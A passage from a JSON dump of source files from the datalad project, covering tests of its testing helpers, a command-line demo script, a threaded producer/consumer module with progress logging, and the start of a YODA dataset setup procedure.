assert_raises(AssertionError, assert_re_in, \\\"ab$\\\", \\\"abc\\\")\\n\\n # Sufficient to have one entry matching\\n assert_re_in(\\\"ab\\\", [\\\"\\\", \\\"abc\\\", \\\"laskdjf\\\"])\\n assert_raises(AssertionError, assert_re_in, \\\"ab$\\\", [\\\"ddd\\\", \\\"\\\"])\\n\\n # Tuples should be ok too\\n assert_re_in(\\\"ab\\\", (\\\"\\\", \\\"abc\\\", \\\"laskdjf\\\"))\\n assert_raises(AssertionError, assert_re_in, \\\"ab$\\\", (\\\"ddd\\\", \\\"\\\"))\\n\\n # shouldn't \\\"match\\\" the empty list\\n assert_raises(AssertionError, assert_re_in, \\\"\\\", [])\\n\\n\\ndef test_skip_if_no_network():\\n cleaned_env = os.environ.copy()\\n cleaned_env.pop('DATALAD_TESTS_NONETWORK', None)\\n # we need to run under cleaned env to make sure we actually test in both conditions\\n with patch('os.environ', cleaned_env):\\n @skip_if_no_network\\n def somefunc(a1):\\n return a1\\n #ok_(hasattr(somefunc, \\\"network\\\"))\\n with patch_config({'datalad.tests.nonetwork': '1'}):\\n assert_raises(Skipped, somefunc, 1)\\n with patch.dict('os.environ', {}):\\n eq_(somefunc(1), 1)\\n # and now if used as a function, not a decorator\\n with patch_config({'datalad.tests.nonetwork': '1'}):\\n assert_raises(Skipped, skip_if_no_network)\\n with patch.dict('os.environ', {}):\\n eq_(skip_if_no_network(), None)\\n\\n\\ndef test_skip_if_no_module():\\n\\n def testish():\\n skip_if_no_module(\\\"nonexistingforsuremodule\\\")\\n raise ValueError\\n assert_raises(Skipped, testish)\\n\\n def testish2():\\n skip_if_no_module(\\\"datalad\\\")\\n return \\\"magic\\\"\\n eq_(testish2(), \\\"magic\\\")\\n\\n\\ndef test_skip_if():\\n\\n with assert_raises(Skipped):\\n @skip_if(True)\\n def f(): # pragma: no cover\\n raise AssertionError(\\\"must have not been ran\\\")\\n f()\\n\\n @skip_if(False)\\n def f():\\n return \\\"magical\\\"\\n eq_(f(), 'magical')\\n\\n\\n@assert_cwd_unchanged\\n@with_tempfile(mkdir=True)\\ndef test_run_under_dir(d=None):\\n orig_pwd = getpwd()\\n orig_cwd = os.getcwd()\\n\\n @run_under_dir(d)\\n def f(arg, kwarg=None):\\n eq_(arg, 1)\\n eq_(kwarg, 2)\\n eq_(getpwd(), d)\\n\\n f(1, 2)\\n eq_(getpwd(), orig_pwd)\\n eq_(os.getcwd(), orig_cwd)\\n\\n # and if fails\\n assert_raises(AssertionError, f, 1, 3)\\n eq_(getpwd(), orig_pwd)\\n eq_(os.getcwd(), orig_cwd)\\n\\n\\ndef test_assert_dict_equal():\\n assert_dict_equal({}, {})\\n assert_dict_equal({\\\"a\\\": 3}, {\\\"a\\\": 3})\\n assert_raises(AssertionError, assert_dict_equal, {1: 3}, {1: 4})\\n assert_raises(AssertionError, assert_dict_equal, {1: 3}, {2: 4})\\n assert_raises(AssertionError, assert_dict_equal, {1: 3}, {2: 4, 1: 3})\\n assert_raises(AssertionError, assert_dict_equal, {1: 3}, {2: 4, 1: 'a'})\\n try:\\n import numpy as np\\n except: # pragma: no cover\\n pytest.skip(\\\"need numpy for this tiny one\\\")\\n # one is scalar another one array\\n assert_raises(AssertionError, assert_dict_equal, {1: 0}, {1: np.arange(1)})\\n assert_raises(AssertionError, assert_dict_equal, {1: 0}, {1: np.arange(3)})\\n\\n\\ndef test_assert_str_equal():\\n assert_str_equal(\\\"a\\\", \\\"a\\\")\\n assert_str_equal(\\\"a\\\\n\\\", \\\"a\\\\n\\\")\\n assert_str_equal(\\\"a\\\\nb\\\", \\\"a\\\\nb\\\")\\n assert_raises(AssertionError, assert_str_equal, \\\"a\\\", \\\"a\\\\n\\\")\\n assert_raises(AssertionError, assert_str_equal, \\\"a\\\", \\\"b\\\")\\n assert_raises(AssertionError, assert_str_equal, \\\"ab\\\", \\\"b\\\")\\n\\n\\ndef test_testsui():\\n # just one for now to test conflicting arguments\\n with assert_raises(ValueError):\\n @with_testsui(responses='some', interactive=False)\\n def some_func(): # pragma: no cover\\n pass\\n\\n from datalad.ui import ui\\n\\n @with_testsui(responses=['yes', \\\"maybe so\\\"])\\n def func2(x):\\n assert x == 1\\n eq_(ui.yesno(\\\"title\\\"), True)\\n eq_(ui.question(\\\"title2\\\"), \\\"maybe so\\\")\\n assert_raises(AssertionError, ui.question, \\\"asking more than we know\\\")\\n return x*2\\n eq_(func2(1), 2)\\n\\n @with_testsui(interactive=False)\\n def func3(x):\\n assert_false(ui.is_interactive)\\n return x*3\\n eq_(func3(2), 6)\\n\\n\\ndef test_setup():\\n # just verify that we monkey patched consts correctly\\n from datalad.consts import DATASETS_TOPURL\\n eq_(DATASETS_TOPURL, 'https://datasets-tests.datalad.org/')\\n from datalad.tests.utils_pytest import get_datasets_topdir\\n eq_(get_datasets_topdir(), 'datasets-tests.datalad.org')\\n\\n\\ndef test_skip_ssh():\\n with patch_config({'datalad.tests.ssh': False}):\\n with assert_raises(Skipped):\\n skip_ssh(lambda: False)()\\n\\n\\ndef test_probe_known_failure():\\n # should raise assert error if function no longer fails\\n with patch_config({'datalad.tests.knownfailures.probe': True}):\\n with assert_raises(Failed):\\n probe_known_failure(lambda: True)()\\n\\n with patch_config({'datalad.tests.knownfailures.probe': False}):\\n ok_(probe_known_failure(lambda: True))\\n\\n\\ndef test_ignore_nose_capturing_stdout():\\n # Just test the logic, not really a situation under overwritten stdout\\n def raise_exc():\\n raise AttributeError('nose causes a message which includes words '\\n 'StringIO and fileno')\\n with assert_raises(AttributeError):\\n ignore_nose_capturing_stdout(raise_exc)()\\n\\n\\n@skip_wo_symlink_capability\\n@with_tree(tree={'ingit': '', 'staged': 'staged', 'notingit': ''})\\ndef test_ok_file_under_git_symlinks(path=None):\\n # Test that works correctly under symlinked path\\n orepo = GitRepo(path)\\n orepo.add('ingit')\\n orepo.commit('msg')\\n orepo.add('staged')\\n lpath = path + \\\"-symlink\\\" # will also be removed AFAIK by our tempfile handling\\n Path(lpath).symlink_to(Path(path))\\n ok_symlink(lpath)\\n ok_file_under_git(op.join(path, 'ingit'))\\n ok_file_under_git(op.join(lpath, 'ingit'))\\n ok_file_under_git(op.join(lpath, 'staged'))\\n with assert_raises(AssertionError):\\n ok_file_under_git(op.join(lpath, 'notingit'))\\n with assert_raises(AssertionError):\\n ok_file_under_git(op.join(lpath, 'nonexisting'))\\n\\n\\ndef test_assert_raises():\\n # rudimentary test of assert_raises shim prompted by suspicion in\\n # https://github.com/datalad/datalad/issues/6846#issuecomment-1363878497\\n def raise_ValueError():\\n raise ValueError(\\\"exc ValueError\\\")\\n\\n def raise_TypeError():\\n raise TypeError(\\\"exc TypeError\\\")\\n\\n # Test both forms of use\\n with assert_raises(ValueError):\\n raise_ValueError()\\n assert_raises(ValueError, raise_ValueError)\\n\\n # can we specify multiple in a tuple?\\n with assert_raises((ValueError, TypeError)):\\n raise_ValueError()\\n with assert_raises((ValueError, TypeError)):\\n raise_TypeError()\\n\\n assert_raises((ValueError, TypeError), raise_TypeError)\\n assert_raises((ValueError, TypeError), raise_ValueError)\"\n },\n {\n \"alpha_fraction\": 0.7448275685310364,\n \"alphanum_fraction\": 0.751724123954773,\n \"avg_line_length\": 81.85713958740234,\n \"blob_id\": \"db90f43f28c2bb8c4cc8d7f27b28824b62f9e94b\",\n \"content_id\": \"457892a9125b73b405e1ad0a9f3a951149d81516\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 580,\n \"license_type\": \"permissive\",\n \"max_line_length\": 151,\n \"num_lines\": 7,\n \"path\": \"/docs/casts/cmdline_basic_usage.sh\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"say \\\"All of DataLad's functionality is available through a single command: \\\\`datalad\\\\`\\\"\\nsay \\\"Running the datalad command without any arguments, gives a summary of basic options, and a list of available sub-commands.\\\"\\nrun \\\"datalad\\\"\\nsay \\\"More comprehensive information is available via the --help long-option (we will truncate the output here)\\\"\\nrun \\\"datalad --help | head -n10\\\"\\nsay \\\"Getting information on any of the available sub commands works in the same way -- just pass --help AFTER the sub-command (output again truncated)\\\"\\nrun \\\"datalad create --help | head -n20\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.5576846599578857,\n \"alphanum_fraction\": 0.5595929026603699,\n \"avg_line_length\": 42.443870544433594,\n \"blob_id\": \"10355087bdafbebb39889189f097cec2635cbcdd\",\n \"content_id\": \"13004d542129e4a1949540b1d7fd21de2fc97a24\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 25154,\n \"license_type\": \"permissive\",\n \"max_line_length\": 119,\n \"num_lines\": 579,\n \"path\": \"/datalad/support/parallel.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Helpers for parallel execution\\n\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport concurrent.futures\\nimport inspect\\nimport sys\\nimport time\\nimport uuid\\n\\nfrom collections import defaultdict\\nfrom queue import Queue, Empty\\nfrom threading import Thread\\n\\nfrom . import ansi_colors as colors\\nfrom ..log import log_progress\\nfrom ..utils import path_is_subpath\\nfrom datalad.support.exceptions import CapturedException\\n\\nimport logging\\nlgr = logging.getLogger('datalad.parallel')\\n\\n\\ndef _count_str(count, verb, omg=False):\\n if count:\\n msg = \\\"{:d} {}\\\".format(count, verb)\\n if omg:\\n msg = colors.color_word(msg, colors.RED)\\n return msg\\n\\n\\n#\\n# safe_to_consume helpers\\n#\\n\\ndef no_parentds_in_futures(futures, path, skip=tuple()):\\n \\\"\\\"\\\"Return True if no path in futures keys is parentds for provided path\\n\\n Assumes that the future's key is the path.\\n\\n Parameters\\n ----------\\n skip: iterable\\n Do not consider futures with paths in skip. E.g. it could be top level\\n dataset which we know it exists already, and it is ok to start with child\\n process before it\\n \\\"\\\"\\\"\\n # TODO: OPT. Could benefit from smarter than linear time if not one at a time?\\n # or may be we should only go through active futures (still linear!)?\\n return all(not path_is_subpath(path, p) or p in skip for p in futures)\\n\\n\\ndef no_subds_in_futures(futures, path, skip=tuple()):\\n \\\"\\\"\\\"Return True if no path in futures keys is a subdataset for provided path\\n\\n See `no_parentds_in_futures` for more info\\n \\\"\\\"\\\"\\n return all(not path_is_subpath(p, path) or p in skip for p in futures)\\n\\n\\nclass ProducerConsumer:\\n \\\"\\\"\\\"Producer/Consumer implementation to (possibly) parallelize execution.\\n\\n It is an iterable providing a multi-threaded producer/consumer implementation,\\n where there could be multiple consumers for items produced by a producer. Since\\n in DataLad majority of time is done in IO interactions with outside git and git-annex\\n processes, and since we typically operate across multiple datasets, multi-threading\\n across datasets operations already provides a significant performance benefit.\\n\\n All results from consumers are all yielded as soon as they are produced by consumers.\\n Because this implementation is based on threads, `producer` and `consumer` could\\n be some \\\"closures\\\" within code, thus having lean interface and accessing\\n data from shared \\\"outer scope\\\".\\n\\n Notes\\n -----\\n - with jobs > 1, results are yielded as soon as available, so order\\n might not match the one provided by \\\"producer\\\".\\n - jobs > 1, is \\\"effective\\\" only for Python >= 3.8. For older versions it\\n would log a warning (upon initial encounter) if jobs > 1 is specified.\\n - `producer` must produce unique entries. AssertionError might be raised if\\n the same entry is to be consumed.\\n - `consumer` can add to the queue of items produced by producer via\\n `.add_to_producer_queue`. This allows for continuous re-use of the same\\n instance in recursive operations (see `get` use of ProducerConsumer).\\n - if producer or consumer raise an exception, we will try to \\\"fail gracefully\\\",\\n unless subsequent Ctrl-C is pressed, we will let already running jobs to\\n finish first.\\n\\n Examples\\n --------\\n A simple and somewhat boring example could be to count lines in '*.py'\\n files in parallel\\n\\n from glob import glob\\n from pprint import pprint\\n from datalad.support.parallel import ProducerConsumer\\n\\n def count_lines(fname):\\n with open(fname) as f:\\n return fname, len(f.readlines())\\n pprint(dict(ProducerConsumer(glob(\\\"*.py\\\"), count_lines)))\\n\\n More usage examples could be found in `test_parallel.py` and around the\\n codebase `addurls.py`, `get.py`, `save.py`, etc.\\n \\\"\\\"\\\"\\n\\n # Users should not specify -J100 and then just come complaining without\\n # being informed that they are out of luck\\n _alerted_already = False\\n\\n def __init__(self,\\n producer, consumer,\\n *,\\n jobs=None,\\n safe_to_consume=None,\\n producer_future_key=None,\\n reraise_immediately=False,\\n agg=None,\\n ):\\n \\\"\\\"\\\"\\n\\n Parameters\\n ----------\\n producer: iterable\\n Provides items to feed a consumer with\\n consumer: callable\\n Is provided with items produced by producer. Multiple consumers might\\n operate in parallel threads if jobs > 1\\n jobs: int, optional\\n If None or \\\"auto\\\", 'datalad.runtime.max-jobs' configuration variable is\\n consulted. With jobs=0 there is no threaded execution whatsoever. With\\n jobs=1 there is a separate thread for the producer, so in effect with jobs=1\\n some parallelization between producer (if it is a generator) and consumer\\n could be achieved, while there is only a single thread available for consumers.\\n safe_to_consume: callable, optional\\n A callable which gets a dict of all known futures and current item from producer.\\n It should return `True` if executor can proceed with current value from producer.\\n If not (unsafe to consume) - we will wait.\\n WARNING: outside code should make sure about provider and `safe_to_consume` to\\n play nicely or a very suboptimal behavior or possibly even a deadlock can happen.\\n producer_future_key: callable, optional\\n A key function for a value from producer which will be used as a key in futures\\n dictionary and output of which is passed to safe_to_consume.\\n reraise_immediately: bool, optional\\n If True, it would stop producer yielding values as soon as it detects that some\\n exception has occurred (although there might still be values in the queue to be yielded\\n which were collected before the exception was raised).\\n agg: callable, optional\\n Should be a callable with two arguments: (item, prior total) and return a new total\\n which will get assigned to .total of this object. If not specified, .total is\\n just a number of items produced by the producer.\\n \\\"\\\"\\\"\\n self.producer = producer\\n self.consumer = consumer\\n self.jobs = jobs\\n self.safe_to_consume = safe_to_consume\\n self.producer_future_key = producer_future_key\\n self.reraise_immediately = reraise_immediately\\n self.agg = agg\\n\\n self.total = None if self.agg else 0\\n self._jobs = None # actual \\\"parallel\\\" jobs used\\n # Relevant only for _iter_threads\\n self._producer_finished = None\\n self._producer_queue = None\\n self._producer_exception = None\\n self._producer_interrupt = None\\n # so we could interrupt more or less gracefully\\n self._producer_thread = None\\n self._executor = None\\n self._futures = {}\\n self._interrupted = False\\n\\n @property\\n def interrupted(self):\\n return self._interrupted\\n\\n def __del__(self):\\n # if we are killed while executing, we should ask executor to shutdown\\n shutdown = getattr(self, \\\"shutdown\\\", None)\\n if shutdown:\\n shutdown(force=True)\\n\\n def shutdown(self, force=False, exception=None):\\n if self._producer_thread and self._producer_thread.is_alive():\\n # we will try to let the worker to finish \\\"gracefully\\\"\\n self._producer_interrupt = f\\\"shutdown due to {exception}\\\"\\n\\n # purge producer queue\\n if self._producer_queue:\\n while not self._producer_queue.empty():\\n self._producer_queue.get()\\n\\n lgr.debug(\\\"Shutting down %s with %d futures. Reason: %s\\\",\\n self._executor, len(self._futures), exception)\\n\\n if not force:\\n # pop not yet running or done futures.\\n # Those would still have a chance to yield results and finish gracefully\\n # or their exceptions to be bubbled up FWIW.\\n ntotal = len(self._futures)\\n ncanceled = 0\\n nrunning = 0\\n # Do in reverse order so if any job still manages\\n # to sneak in, it would be the earlier submitted one.\\n for k, future in list(self._futures.items())[::-1]:\\n running = future.running()\\n nrunning += int(running)\\n if not (running or future.done()):\\n if self._futures.pop(k).cancel():\\n ncanceled += 1\\n lgr.info(\\\"Canceled %d out of %d jobs. %d left running.\\\",\\n ncanceled, ntotal, nrunning)\\n else:\\n # just pop all entirely\\n for k in list(self._futures)[::-1]:\\n self._futures.pop(k).cancel()\\n if self._executor:\\n self._executor.shutdown()\\n self._executor = None\\n if exception:\\n raise exception\\n lgr.debug(\\\"Finished shutdown with force=%s due to exception=%r\\\", force, exception)\\n\\n def _update_total(self, value):\\n if self.agg:\\n self.total = (\\n self.agg(value, self.total) if self.total is not None else self.agg(value)\\n )\\n else:\\n self.total += 1\\n\\n @classmethod\\n def get_effective_jobs(cls, jobs):\\n \\\"\\\"\\\"Return actual number of jobs to be used.\\n\\n It will account for configuration variable ('datalad.runtime.max-jobs') and possible\\n other requirements (such as version of Python).\\n \\\"\\\"\\\"\\n if jobs in (None, \\\"auto\\\"):\\n from datalad import cfg\\n # ATM there is no \\\"auto\\\" for this operation, so in both auto and None\\n # just consult max-jobs which can only be an int ATM.\\n # \\\"auto\\\" could be for some auto-scaling based on a single future time\\n # to complete, scaling up/down. Ten config variable could accept \\\"auto\\\" as well\\n jobs = cfg.obtain('datalad.runtime.max-jobs')\\n return jobs\\n\\n def __iter__(self):\\n self._jobs = self.get_effective_jobs(self.jobs)\\n if self._jobs == 0:\\n yield from self._iter_serial()\\n else:\\n yield from self._iter_threads(self._jobs)\\n\\n def _iter_serial(self):\\n # depchecker is not consulted, serial execution\\n # reraise_immediately is also \\\"always False by design\\\"\\n # To allow consumer to add to the queue\\n self._producer_queue = producer_queue = Queue()\\n\\n def produce():\\n # First consume all coming directly from producer and then go through all which\\n # consumer might have added to the producer queue\\n for args in self._producer_iter:\\n self._update_total(args)\\n yield args\\n # consumer could have added to the queue while we were still\\n # producing\\n while not producer_queue.empty():\\n yield producer_queue.get()\\n\\n for args in produce():\\n res = self.consumer(args)\\n if inspect.isgenerator(res):\\n lgr.debug(\\\"Got consumer worker which returned a generator %s\\\", res)\\n yield from res\\n else:\\n lgr.debug(\\\"Got straight result %s, not a generator\\\", res)\\n yield res\\n\\n @property\\n def _producer_iter(self):\\n \\\"\\\"\\\"A little helper to also support generator functions\\\"\\\"\\\"\\n return self.producer() if inspect.isgeneratorfunction(self.producer) else self.producer\\n\\n def _iter_threads(self, jobs):\\n self._interrupted = False\\n self._producer_finished = False\\n self._producer_exception = None\\n self._producer_interrupt = None\\n\\n # To allow feeding producer queue with more entries, possibly from consumer!\\n self._producer_queue = producer_queue = Queue()\\n consumer_queue = Queue()\\n\\n def producer_worker():\\n \\\"\\\"\\\"That is the one which interrogates producer and updates .total\\\"\\\"\\\"\\n try:\\n for value in self._producer_iter:\\n if self._producer_interrupt:\\n raise InterruptedError(\\\"Producer thread was interrupted due to %s\\\" % self._producer_interrupt)\\n self.add_to_producer_queue(value)\\n except InterruptedError:\\n pass # There is some outside exception which will be raised\\n except BaseException as e:\\n self._producer_exception = e\\n finally:\\n self._producer_finished = True\\n\\n def consumer_worker(callable, *args, **kwargs):\\n \\\"\\\"\\\"Since jobs could return a generator and we cannot really \\\"inspect\\\" for that\\n \\\"\\\"\\\"\\n res = callable(*args, **kwargs)\\n if inspect.isgenerator(res):\\n lgr.debug(\\\"Got consumer worker which returned a generator %s\\\", res)\\n didgood = False\\n for r in res:\\n didgood = True\\n lgr.debug(\\\"Adding %s to queue\\\", r)\\n consumer_queue.put(r)\\n if not didgood:\\n lgr.error(\\\"Nothing was obtained from %s :-(\\\", res)\\n else:\\n lgr.debug(\\\"Got straight result %s, not a generator\\\", res)\\n consumer_queue.put(res)\\n\\n self._producer_thread = Thread(target=producer_worker)\\n self._producer_thread.start()\\n self._futures = futures = {}\\n\\n lgr.debug(\\\"Initiating ThreadPoolExecutor with %d jobs\\\", jobs)\\n # we will increase sleep_time when doing nothing useful\\n sleeper = Sleeper()\\n interrupted_by_exception = None\\n with concurrent.futures.ThreadPoolExecutor(jobs) as executor:\\n self._executor = executor\\n # yield from the producer_queue (.total and .finished could be accessed meanwhile)\\n while True:\\n try:\\n done_useful = False\\n if self.reraise_immediately and self._producer_exception and not interrupted_by_exception:\\n # so we have a chance to exit gracefully\\n # No point to reraise if there is already an exception which was raised\\n # which might have even been this one\\n lgr.debug(\\\"Reraising an exception from producer as soon as we found it\\\")\\n raise self._producer_exception\\n if (self._producer_finished and\\n not futures and\\n consumer_queue.empty() and\\n producer_queue.empty()):\\n # This will let us not \\\"escape\\\" the while loop and reraise any possible exception\\n # within the loop if we have any.\\n # Otherwise we might see \\\"RuntimeError: generator ignored GeneratorExit\\\"\\n # when e.g. we did continue upon interrupted_by_exception, and then\\n # no other subsequent exception was raised and we left the loop\\n raise _FinalShutdown()\\n\\n # important! We are using threads, so worker threads will be sharing CPU time\\n # with this master thread. For it to become efficient, we should consume as much\\n # as possible from producer asap and push it to executor. So drain the queue\\n while not (producer_queue.empty() or interrupted_by_exception):\\n done_useful = True\\n try:\\n job_args = producer_queue.get() # timeout=0.001)\\n job_key = self.producer_future_key(job_args) if self.producer_future_key else job_args\\n if self.safe_to_consume:\\n # Sleep a little if we are not yet ready\\n # TODO: add some .debug level reporting based on elapsed time\\n # IIRC I did smth like growing exponentially delays somewhere (dandi?)\\n while not self.safe_to_consume(futures, job_key):\\n self._pop_done_futures(lgr) or sleeper()\\n # Current implementation, to provide depchecking, relies on unique\\n # args for the job\\n assert job_key not in futures\\n lgr.debug(\\\"Submitting worker future for %s\\\", job_args)\\n futures[job_key] = executor.submit(consumer_worker, self.consumer, job_args)\\n except Empty:\\n pass\\n\\n # check active futures\\n if not consumer_queue.empty():\\n done_useful = True\\n # ATM we do not bother of some \\\"in order\\\" reporting\\n # Just report as soon as any new record arrives\\n res = consumer_queue.get()\\n lgr.debug(\\\"Got %s from consumer_queue\\\", res)\\n yield res\\n\\n done_useful |= self._pop_done_futures(lgr)\\n\\n if not done_useful: # you need some rest\\n # TODO: same here -- progressive logging\\n lgr.log(5,\\n \\\"Did nothing useful, sleeping. Have \\\"\\n \\\"producer_finished=%s producer_queue.empty=%s futures=%s consumer_queue.empty=%s\\\",\\n self._producer_finished,\\n producer_queue.empty(),\\n futures,\\n consumer_queue.empty(),\\n )\\n sleeper()\\n else:\\n sleeper.reset()\\n except (_FinalShutdown, GeneratorExit):\\n self.shutdown(force=True, exception=self._producer_exception or interrupted_by_exception)\\n break # if there were no exception to raise\\n except BaseException as exc:\\n ce = CapturedException(exc)\\n self._interrupted = True\\n if interrupted_by_exception:\\n # so we are here again but now it depends why we are here\\n if isinstance(exc, KeyboardInterrupt):\\n lgr.warning(\\\"Interrupted via Ctrl-C. Forcing the exit\\\")\\n self.shutdown(force=True, exception=exc)\\n else:\\n lgr.warning(\\n \\\"One more exception was received while \\\"\\n \\\"trying to finish gracefully: %s\\\",\\n ce)\\n # and we go back into the loop until we finish or there is Ctrl-C\\n else:\\n interrupted_by_exception = exc\\n lgr.warning(\\n \\\"Received an exception %s. Canceling not-yet \\\"\\n \\\"running jobs and waiting for completion of \\\"\\n \\\"running. You can force earlier forceful exit \\\"\\n \\\"by Ctrl-C.\\\", ce)\\n self.shutdown(force=False, exception=exc)\\n\\n def add_to_producer_queue(self, value):\\n self._producer_queue.put(value)\\n self._update_total(value)\\n\\n def _pop_done_futures(self, lgr):\\n \\\"\\\"\\\"Removes .done from provided futures.\\n\\n Returns\\n -------\\n bool\\n True if any future was removed\\n \\\"\\\"\\\"\\n done_useful = False\\n # remove futures which are done\\n for args, future in list(self._futures.items()):\\n if future.done():\\n done_useful = True\\n future_ = self._futures.pop(args)\\n exception = future_.exception()\\n if exception:\\n lgr.debug(\\\"Future for %r raised %s. Re-raising to trigger graceful shutdown etc\\\", args, exception)\\n raise exception\\n lgr.debug(\\\"Future for %r is done\\\", args)\\n return done_useful\\n\\n\\nclass Sleeper():\\n def __init__(self):\\n self.min_sleep_time = 0.001\\n # but no more than to this max\\n self.max_sleep_time = 0.1\\n self.sleep_time = self.min_sleep_time\\n\\n def __call__(self):\\n time.sleep(self.sleep_time)\\n self.sleep_time = min(self.max_sleep_time, self.sleep_time * 2)\\n\\n def reset(self):\\n self.sleep_time = self.min_sleep_time\\n\\n\\nclass ProducerConsumerProgressLog(ProducerConsumer):\\n \\\"\\\"\\\"ProducerConsumer wrapper with log_progress reporting.\\n\\n It is to be used around a `consumer` which returns or yields result records.\\n If that is not the case -- use regular `ProducerConsumer`.\\n\\n It will update `.total` of the `log_progress` each time it changes (i.e. whenever\\n producer produced new values to be consumed).\\n \\\"\\\"\\\"\\n\\n def __init__(self,\\n producer, consumer,\\n *,\\n log_filter=None,\\n label=\\\"Total\\\", unit=\\\"items\\\",\\n lgr=None,\\n **kwargs\\n ):\\n \\\"\\\"\\\"\\n Parameters\\n ----------\\n producer, consumer, **kwargs\\n Passed into ProducerConsumer. Most likely kwargs must not include 'agg' or\\n if provided, it must return an 'int' value.\\n log_filter: callable, optional\\n If defined, only result records for which callable evaluates to True will be\\n passed to log_progress\\n label, unit: str, optional\\n Provided to log_progress\\n lgr: logger, optional\\n Provided to log_progress. Local one is used if not provided\\n \\\"\\\"\\\"\\n super().__init__(producer, consumer, **kwargs)\\n self.log_filter = log_filter\\n self.label = label\\n self.unit = unit\\n self.lgr = lgr\\n\\n def __iter__(self):\\n pid = str(uuid.uuid4()) # could be based on PID and time may be to be informative?\\n lgr_ = self.lgr\\n label = self.label\\n if lgr_ is None:\\n lgr_ = lgr\\n\\n log_progress(lgr_.info, pid,\\n \\\"%s: starting\\\", self.label,\\n # will become known only later total=len(items),\\n label=self.label, unit=\\\" \\\" + self.unit,\\n noninteractive_level=5)\\n counts = defaultdict(int)\\n total_announced = None # self.total\\n for res in super().__iter__():\\n if self.total and total_announced != self.total:\\n # update total with new information\\n log_progress(\\n lgr_.info,\\n pid,\\n \\\"\\\", # None flips python 3.6.7 in conda if nose ran without -s\\n # I do not think there is something\\n # valuable to announce\\n total=self.total,\\n # unfortunately of no effect, so we cannot inform that more items to come\\n # unit=(\\\"+\\\" if not it.finished else \\\"\\\") + \\\" \\\" + unit,\\n update=0, # not None, so it does not stop\\n noninteractive_level=5\\n )\\n total_announced = self.total\\n\\n if not (self.log_filter and not self.log_filter(res)):\\n counts[res[\\\"status\\\"]] += 1\\n count_strs = [_count_str(*args)\\n for args in [(counts[\\\"notneeded\\\"], \\\"skipped\\\", False),\\n (counts[\\\"error\\\"], \\\"failed\\\", True)]]\\n if counts[\\\"notneeded\\\"] or counts[\\\"error\\\"] or self.interrupted:\\n strs = count_strs\\n if self.interrupted:\\n strs.append(\\\"exiting!\\\")\\n label = \\\"{} ({})\\\".format(\\n self.label,\\n \\\", \\\".join(filter(None, count_strs)))\\n\\n log_progress(\\n lgr_.error if res[\\\"status\\\"] == \\\"error\\\" else lgr_.info,\\n pid,\\n \\\"%s: processed result%s\\\", self.label,\\n \\\" for \\\" + res[\\\"path\\\"] if \\\"path\\\" in res else \\\"\\\",\\n label=label, update=1, increment=True,\\n noninteractive_level=5)\\n yield res\\n log_progress(lgr_.info, pid, \\\"%s: done\\\", self.label,\\n noninteractive_level=5)\\n\\n\\nclass _FinalShutdown(Exception):\\n \\\"\\\"\\\"Used internally for the final forceful shutdown if any exception did happen\\\"\\\"\\\"\\n pass\\n\"\n },\n {\n \"alpha_fraction\": 0.6309260129928589,\n \"alphanum_fraction\": 0.6318121552467346,\n \"avg_line_length\": 23.532608032226562,\n \"blob_id\": \"453a5e8541a8847f5c42965a094ea7d8bc41d975\",\n \"content_id\": \"19fd5e48366336e9b20d739a1a84509d73ea9342\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2257,\n \"license_type\": \"permissive\",\n \"max_line_length\": 76,\n \"num_lines\": 92,\n \"path\": \"/datalad/resources/procedures/cfg_yoda.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python3\\n\\\"\\\"\\\"Procedure to apply YODA-compatible default setup to a dataset\\n\\nThis procedure assumes a clean dataset that was just created by\\n`datalad create`.\\n\\\"\\\"\\\"\\n\\nimport sys\\nimport os.path as op\\n\\nfrom datalad.distribution.dataset import require_dataset\\nfrom datalad.utils import create_tree\\n\\nds = require_dataset(\\n sys.argv[1],\\n check_installed=True,\\n purpose='YODA dataset setup')\\n\\nto_modify = [\\n ds.pathobj / 'code' / 'README.md',\\n ds.pathobj / 'code' / '.gitattributes',\\n ds.pathobj / 'README.md',\\n ds.pathobj / 'CHANGELOG.md',\\n ds.pathobj / '.gitattributes',\\n]\\n\\ndirty = [\\n s for s in ds.status(\\n to_modify,\\n result_renderer='disabled',\\n return_type='generator',\\n )\\n if s['state'] != 'clean'\\n]\\n\\nif dirty:\\n raise RuntimeError(\\n 'Stopping, because to be modified dataset '\\n 'content was found dirty: {}'.format(\\n [s['path'] for s in dirty]\\n ))\\n\\nREADME_code = \\\"\\\"\\\"\\\\\\nAll custom code goes into this directory. All scripts should be written such\\nthat they can be executed from the root of the dataset, and are only using\\nrelative paths for portability.\\n\\\"\\\"\\\"\\n\\nREADME_top = \\\"\\\"\\\"\\\\\\n# Project <insert name>\\n\\n## Dataset structure\\n\\n- All inputs (i.e. building blocks from other sources) are located in\\n `inputs/`.\\n- All custom code is located in `code/`.\\n\\\"\\\"\\\"\\n\\ntmpl = {\\n 'code': {\\n 'README.md': README_code,\\n },\\n 'README.md': README_top,\\n 'CHANGELOG.md': '', # TODO\\n}\\n\\n# unless taken care of by the template already, each item in here\\n# will get its own .gitattributes entry to keep it out of the annex\\n# give relative path to dataset root (use platform notation)\\nforce_in_git = [\\n 'README.md',\\n 'CHANGELOG.md',\\n]\\n\\n###################################################################\\n# actually dump everything into the dataset\\ncreate_tree(ds.path, tmpl)\\n\\n# all code goes into 